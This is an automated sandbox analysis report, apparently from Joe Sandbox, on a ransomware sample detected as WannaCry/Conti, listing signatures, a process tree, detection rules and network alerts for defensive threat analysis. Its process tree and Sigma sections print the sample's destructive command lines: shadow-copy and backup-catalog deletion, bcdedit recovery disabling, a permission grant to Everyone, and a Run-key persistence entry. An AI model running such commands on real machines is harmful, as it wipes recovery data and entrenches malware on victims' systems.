Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
n397UdH3b5.exe

Overview

General Information

Sample name:n397UdH3b5.exe
Analysis ID:1586204
MD5:64b26f10b6c2e7c51f0be88eb9875b78
SHA1:480053030da18b67355eb1ad499825a4a5e50d8d
SHA256:e4aa8cfc4cd8b791eaa38dbe6fd7e11bcaaafab680bd2ed7c87e38063623e941
Infos:

Detection

Wannacry, Conti
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Detected Wannacry Ransomware
Icon mismatch, binary includes an icon from a different legit application in order to fool users
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Delete shadow copy via WMIC
Yara detected Conti ransomware
Yara detected Wannacry ransomware
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Command shell drops VBS files
Contains functionality to detect sleep reduction / modifications
Contains functionalty to change the wallpaper
Creates files in the recycle bin to hide itself
Deletes shadow drive data (may be related to ransomware)
Detected VMProtect packer
Drops PE files to the document folder of the user
Found Tor onion address
Machine Learning detection for dropped file
Machine Learning detection for sample
May use the Tor software to hide its network traffic
Modifies existing user documents (likely ransomware behavior)
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities
Uses bcdedit to modify the Windows boot settings
Writes many files with high entropy
Writes to foreign memory regions
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query locales information (e.g. system language)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Entry point lies outside standard sections
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evaded block containing many API calls
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Sigma detected: Startup Folder File Write
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses cacls to modify the permissions of files
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Yara signature match

Classification

Process Tree

  • System is w10x64native
  • n397UdH3b5.exe (PID: 5892 cmdline: "C:\Users\user\Desktop\n397UdH3b5.exe" MD5: 64B26F10B6C2E7C51F0BE88EB9875B78)
    • attrib.exe (PID: 3224 cmdline: attrib +h . MD5: 0E938DD280E83B1596EC6AA48729C2B0)
      • conhost.exe (PID: 1824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • icacls.exe (PID: 2716 cmdline: icacls . /grant Everyone:F /T /C /Q MD5: 2E49585E4E08565F52090B144062F97E)
      • conhost.exe (PID: 1772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • taskdl.exe (PID: 4852 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • cmd.exe (PID: 1668 cmdline: C:\Windows\system32\cmd.exe /c 251361736365593.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 3128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • cscript.exe (PID: 8016 cmdline: cscript.exe //nologo m.vbs MD5: 13783FF4A2B614D7FBD58F5EEBDEDEF6)
    • taskdl.exe (PID: 3116 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5444 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6104 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • @WanaDecryptor@.exe (PID: 6588 cmdline: @WanaDecryptor@.exe co MD5: 7BF2B57F2A205768755C07F238FB32CC)
      • taskhsvc.exe (PID: 1420 cmdline: TaskData\Tor\taskhsvc.exe MD5: FE7EB54691AD6E6AF77F8A9A0B6DE26D)
        • conhost.exe (PID: 1424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 4544 cmdline: cmd.exe /c start /b @WanaDecryptor@.exe vs MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 4612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • @WanaDecryptor@.exe (PID: 2120 cmdline: @WanaDecryptor@.exe vs MD5: 7BF2B57F2A205768755C07F238FB32CC)
        • cmd.exe (PID: 6948 cmdline: cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
          • conhost.exe (PID: 2552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
          • WMIC.exe (PID: 1176 cmdline: wmic shadowcopy delete MD5: 82BB8430531876FBF5266E53460A393E)
    • taskse.exe (PID: 2712 cmdline: taskse.exe C:\Users\user\Desktop\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)
    • @WanaDecryptor@.exe (PID: 6696 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)
    • cmd.exe (PID: 7968 cmdline: cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "vfwrglgamdagtoq456" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 2208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • reg.exe (PID: 3420 cmdline: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "vfwrglgamdagtoq456" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
    • taskdl.exe (PID: 4284 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskse.exe (PID: 5848 cmdline: taskse.exe C:\Users\user\Desktop\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)
    • @WanaDecryptor@.exe (PID: 552 cmdline: @WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)
    • taskdl.exe (PID: 4028 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskse.exe (PID: 2632 cmdline: taskse.exe C:\Users\user\Desktop\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
WannaCryptor, WannaCry, WannaCrypt
  • Lazarus Group
https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor
NameDescriptionAttributionBlogpost URLsLink
Conti, Conti LockConti is an extremely damaging ransomware due to the speed with which it encrypts data and spreads to other systems. It was first observed in 2020 and it is thought to be led by a Russia-based cybercrime group that goes under the Wizard Spider pseudonym. In early May 2022, the US government announced a reward of up to $10 million for information on the Conti ransomware gang.
  • WIZARD SPIDER
https://malpedia.caad.fkie.fraunhofer.de/details/win.conti

Malware Configuration

⊘No configs have been found

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\@Please_Read_Me@.txtWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
  • 0x2c0:$s1: A: Don't worry about decryption.
  • 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Desktop\r.wnryWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
  • 0x2c0:$s1: A: Don't worry about decryption.
  • 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Desktop\r.wnryWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
  • 0x2c0:$s1: A: Don't worry about decryption.
  • 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Desktop\r.wnryWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
  • 0x2c0:$s1: A: Don't worry about decryption.
  • 0x0:$s2: Q: What's wrong with my files?
C:\Users\user\Desktop\r.wnryWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
  • 0x2c0:$s1: A: Don't worry about decryption.
  • 0x0:$s2: Q: What's wrong with my files?
Click to see the 40 entries

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000025.00000000.3056412073.000000000041F000.00000008.00000001.01000000.00000008.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
    00000028.00000000.3357432040.000000000041F000.00000008.00000001.01000000.00000008.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
      00000013.00000000.2575420762.000000000041F000.00000008.00000001.01000000.00000008.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
        00000028.00000002.3358141473.000000000041F000.00000008.00000001.01000000.00000008.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
          00000000.00000003.2573945080.0000000000DD0000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
            Click to see the 13 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            37.0.@WanaDecryptor@.exe.400000.0.unpackJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
              37.0.@WanaDecryptor@.exe.400000.0.unpackWin32_Ransomware_WannaCryunknownReversingLabs
              • 0x133e6:$main_6: FF 74 24 10 FF 74 24 10 FF 74 24 10 FF 74 24 10 E8 43 00 00 00 C2
              • 0x1caa:$set_reg_key_6: 68 C8 FD 41 00 F3 AB 66 AB AA 8D 44 24 1C C7 44 24 14 00 00 00 00 50 FF 15 54 55 41 00 8B 2D E8 50 41 00 8B 1D 0C 50 41 00 83 C4 08 33 FF 89 7C 24 14 85 FF 75 11 8D 4C 24 10 8D 54 24 18 51 52 ...
              • 0x13102:$entrypoint_all: 55 8B EC 6A FF 68 A8 BA 41 00 68 50 30 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 24 55 41 00 59 83 0D 98 22 42 00 FF 83 0D 9C 22 42 ...
              19.2.@WanaDecryptor@.exe.400000.0.unpackJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
                19.2.@WanaDecryptor@.exe.400000.0.unpackWin32_Ransomware_WannaCryunknownReversingLabs
                • 0x133e6:$main_6: FF 74 24 10 FF 74 24 10 FF 74 24 10 FF 74 24 10 E8 43 00 00 00 C2
                • 0x1caa:$set_reg_key_6: 68 C8 FD 41 00 F3 AB 66 AB AA 8D 44 24 1C C7 44 24 14 00 00 00 00 50 FF 15 54 55 41 00 8B 2D E8 50 41 00 8B 1D 0C 50 41 00 83 C4 08 33 FF 89 7C 24 14 85 FF 75 11 8D 4C 24 10 8D 54 24 18 51 52 ...
                • 0x13102:$entrypoint_all: 55 8B EC 6A FF 68 A8 BA 41 00 68 50 30 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 24 55 41 00 59 83 0D 98 22 42 00 FF 83 0D 9C 22 42 ...
                19.0.@WanaDecryptor@.exe.400000.0.unpackJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
                  Click to see the 15 entries

                  Sigma Signatures

                  Operating System Destruction

                  barindex
                  Sigma detected: Delete shadow copy via WMIC
                  Source: Process startedAuthor: Joe Security: Data: Command: cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, CommandLine: cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: @WanaDecryptor@.exe vs, ParentImage: C:\Users\user\Desktop\@WanaDecryptor@.exe, ParentProcessId: 2120, ParentProcessName: @WanaDecryptor@.exe, ProcessCommandLine: cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, ProcessId: 6948, ProcessName: cmd.exe

                  System Summary

                  barindex
                  Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities
                  Source: Process startedAuthor: Florian Roth (Nextron Systems), Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades): Data: Command: wmic shadowcopy delete, CommandLine: wmic shadowcopy delete, CommandLine|base64offset|contains: h, Image: C:\Windows\SysWOW64\wbem\WMIC.exe, NewProcessName: C:\Windows\SysWOW64\wbem\WMIC.exe, OriginalFileName: C:\Windows\SysWOW64\wbem\WMIC.exe, ParentCommandLine: cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6948, ParentProcessName: cmd.exe, ProcessCommandLine: wmic shadowcopy delete, ProcessId: 1176, ProcessName: WMIC.exe
                  Sigma detected: Direct Autorun Keys Modification
                  Source: Process startedAuthor: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "vfwrglgamdagtoq456" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f, CommandLine: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "vfwrglgamdagtoq456" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "vfwrglgamdagtoq456" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7968, ParentProcessName: cmd.exe, ProcessCommandLine: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "vfwrglgamdagtoq456" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f, ProcessId: 3420, ProcessName: reg.exe
                  Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
                  Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "vfwrglgamdagtoq456" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f, CommandLine: cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "vfwrglgamdagtoq456" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\n397UdH3b5.exe", ParentImage: C:\Users\user\Desktop\n397UdH3b5.exe, ParentProcessId: 5892, ParentProcessName: n397UdH3b5.exe, ProcessCommandLine: cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "vfwrglgamdagtoq456" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f, ProcessId: 7968, ProcessName: cmd.exe
                  Sigma detected: Startup Folder File Write
                  Source: File createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\n397UdH3b5.exe, ProcessId: 5892, TargetFilename: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\StartUp\~SD9871.tmp
                  Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
                  Source: Process startedAuthor: Michael Haag: Data: Command: cscript.exe //nologo m.vbs, CommandLine: cscript.exe //nologo m.vbs, CommandLine|base64offset|contains: (, Image: C:\Windows\SysWOW64\cscript.exe, NewProcessName: C:\Windows\SysWOW64\cscript.exe, OriginalFileName: C:\Windows\SysWOW64\cscript.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c 251361736365593.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1668, ParentProcessName: cmd.exe, ProcessCommandLine: cscript.exe //nologo m.vbs, ProcessId: 8016, ProcessName: cscript.exe
                  Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification
                  Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\Desktop\tasksche.exe", EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\reg.exe, ProcessId: 3420, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\vfwrglgamdagtoq456

                  Suricata Signatures

                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2025-01-08T20:46:25.678515+010020283773Unknown Traffic192.168.11.2049715178.33.183.251443TCP
                  2025-01-08T20:46:25.678515+010020283773Unknown Traffic192.168.11.204972986.59.21.38443TCP
                  2025-01-08T20:46:25.678515+010020283773Unknown Traffic192.168.11.2049728154.35.175.225443TCP
                  2025-01-08T20:46:25.678515+010020283773Unknown Traffic192.168.11.2049719217.12.199.208443TCP
                  2025-01-08T20:48:21.695235+010020283773Unknown Traffic192.168.11.2049717198.50.191.95443TCP
                  2025-01-08T20:48:47.987939+010020283773Unknown Traffic192.168.11.2049720131.188.40.189443TCP
                  2025-01-08T20:50:21.018855+010020283773Unknown Traffic192.168.11.204972731.31.78.49443TCP
                  2025-01-08T20:51:41.056191+010020283773Unknown Traffic192.168.11.2049733171.25.193.980TCP
                  2025-01-08T20:51:47.757163+010020283773Unknown Traffic192.168.11.2049735188.245.236.60443TCP

                  Joe Sandbox Signatures

                  Click to jump to signature section

                  Show All Signature Results

                  AV Detection

                  barindex
                  Antivirus / Scanner detection for submitted sample
                  Source: n397UdH3b5.exeAvira: detected
                  Antivirus detection for dropped file
                  Source: C:\@WanaDecryptor@.exeAvira: detection malicious, Label: LNK/Runner.VPDJ
                  Source: C:\@WanaDecryptor@.exeAvira: detection malicious, Label: TR/FileCoder.724645
                  Source: C:\@WanaDecryptor@.exeAvira: detection malicious, Label: LNK/Runner.VPDJ
                  Source: C:\@WanaDecryptor@.exeAvira: detection malicious, Label: LNK/Runner.VPDJ
                  Source: C:\@WanaDecryptor@.exeAvira: detection malicious, Label: LNK/Runner.VPDJ
                  Source: C:\@WanaDecryptor@.exeAvira: detection malicious, Label: LNK/Runner.VPDJ
                  Source: C:\@WanaDecryptor@.exeAvira: detection malicious, Label: LNK/Runner.VPDJ
                  Source: C:\@WanaDecryptor@.exeAvira: detection malicious, Label: LNK/Runner.VPDJ
                  Source: C:\@WanaDecryptor@.exeAvira: detection malicious, Label: LNK/Runner.VPDJ
                  Source: C:\@WanaDecryptor@.exeAvira: detection malicious, Label: LNK/Runner.VPDJ
                  Multi AV Scanner detection for dropped file
                  Source: C:\@WanaDecryptor@.exeReversingLabs: Detection: 97%
                  Source: C:\Users\user\AppData\Local\@WanaDecryptor@.exeReversingLabs: Detection: 97%
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeReversingLabs: Detection: 97%
                  Source: C:\Users\user\Desktop\taskdl.exeReversingLabs: Detection: 95%
                  Source: C:\Users\user\Desktop\taskse.exeReversingLabs: Detection: 89%
                  Source: C:\Users\user\Desktop\u.wnryReversingLabs: Detection: 97%
                  Source: C:\Users\user\Documents\@WanaDecryptor@.exeReversingLabs: Detection: 97%
                  Source: C:\Users\user\Downloads\@WanaDecryptor@.exeReversingLabs: Detection: 97%
                  Source: C:\Users\Default\Desktop\@WanaDecryptor@.exeReversingLabs: Detection: 97%
                  Source: C:\Users\Public\Desktop\@WanaDecryptor@.exeReversingLabs: Detection: 97%
                  Multi AV Scanner detection for submitted file
                  Source: n397UdH3b5.exeReversingLabs: Detection: 100%
                  Machine Learning detection for dropped file
                  Source: C:\@WanaDecryptor@.exeJoe Sandbox ML: detected
                  Machine Learning detection for sample
                  Source: n397UdH3b5.exeJoe Sandbox ML: detected
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_004049B0 CreateFileA,GetFileSize,GlobalAlloc,ReadFile,CryptImportKey,_local_unwind2,_local_unwind2,19_2_004049B0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_00404AF0 EnterCriticalSection,CryptDecrypt,LeaveCriticalSection,LeaveCriticalSection,19_2_00404AF0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_00404B70 CryptAcquireContextA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CryptAcquireContextA,CryptImportKey,CryptDestroyKey,CryptEncrypt,CryptDecrypt,19_2_00404B70
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_004046F0 CryptImportKey,19_2_004046F0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_004046B0 CryptAcquireContextA,19_2_004046B0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_00404770 CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,19_2_00404770
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_004047C0 CryptEncrypt,_local_unwind2,CryptDecrypt,strncmp,_local_unwind2,19_2_004047C0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_004049B0 CreateFileA,GetFileSize,GlobalAlloc,ReadFile,CryptImportKey,_local_unwind2,_local_unwind2,22_2_004049B0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_00404AF0 EnterCriticalSection,CryptDecrypt,LeaveCriticalSection,LeaveCriticalSection,22_2_00404AF0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_00404B70 CryptAcquireContextA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CryptAcquireContextA,CryptImportKey,CryptDestroyKey,CryptEncrypt,CryptDecrypt,22_2_00404B70
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_004046F0 CryptImportKey,22_2_004046F0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_004046B0 CryptAcquireContextA,22_2_004046B0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_00404770 CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,22_2_00404770
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_004047C0 CryptEncrypt,_local_unwind2,CryptDecrypt,strncmp,_local_unwind2,22_2_004047C0
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00D5C797 abort,CryptAcquireContextA,CryptGenRandom,__stack_chk_fail,23_2_00D5C797
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00D55EA1 ERR_load_crypto_strings,OPENSSL_add_all_algorithms_noconf,SSLeay,SSLeay_version,strcmp,__stack_chk_fail,23_2_00D55EA1
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00D59070 i2d_RSAPublicKey,CRYPTO_free,CRYPTO_free,__stack_chk_fail,23_2_00D59070
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00D59110 i2d_RSAPublicKey,CRYPTO_free,CRYPTO_free,__stack_chk_fail,23_2_00D59110
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00D5D6F1 CRYPTO_num_locks,CRYPTO_set_locking_callback,CRYPTO_THREADID_set_callback,__stack_chk_fail,23_2_00D5D6F1
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00D5D787 EVP_cleanup,ERR_remove_thread_state,ERR_free_strings,BN_clear_free,BN_clear_free,BN_clear_free,ENGINE_cleanup,CONF_modules_unload,CRYPTO_cleanup_all_ex_data,free,free,free,__stack_chk_fail,23_2_00D5D787
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00D5E737 i2d_X509,free,X509_free,memcpy,CRYPTO_free,X509_get_pubkey,EVP_PKEY_get1_RSA,EVP_PKEY_free,__stack_chk_fail,23_2_00D5E737
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00D58EFB i2d_RSAPublicKey,CRYPTO_free,memcpy,CRYPTO_free,__stack_chk_fail,23_2_00D58EFB
                  Source: taskhsvc.exe, 00000017.00000003.5018109285.0000000003799000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: -----BEGIN RSA PUBLIC KEY-----memstr_1aa73372-2
                  Source: n397UdH3b5.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                  Source: unknownHTTPS traffic detected: 198.50.191.95:443 -> 192.168.11.20:49717 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 131.188.40.189:443 -> 192.168.11.20:49720 version: TLS 1.2
                  Source: C:\Users\user\Desktop\taskdl.exeCode function: 6_2_00401080 GetDriveTypeW,Sleep,swprintf,swprintf,FindFirstFileW,swprintf,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z,?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,FindNextFileW,FindClose,DeleteFileW,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,DeleteFileW,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,6_2_00401080
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_004080C0 __p___argv,FindFirstFileA,fopen,fread,sscanf,fopen,fread,fclose,FindNextFileA,FindClose,sprintf,#537,#537,19_2_004080C0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_00403CB0 FindFirstFileA,SendMessageA,SendMessageA,sscanf,fopen,fread,sprintf,SendMessageA,#823,SendMessageA,fclose,FindNextFileA,FindClose,19_2_00403CB0
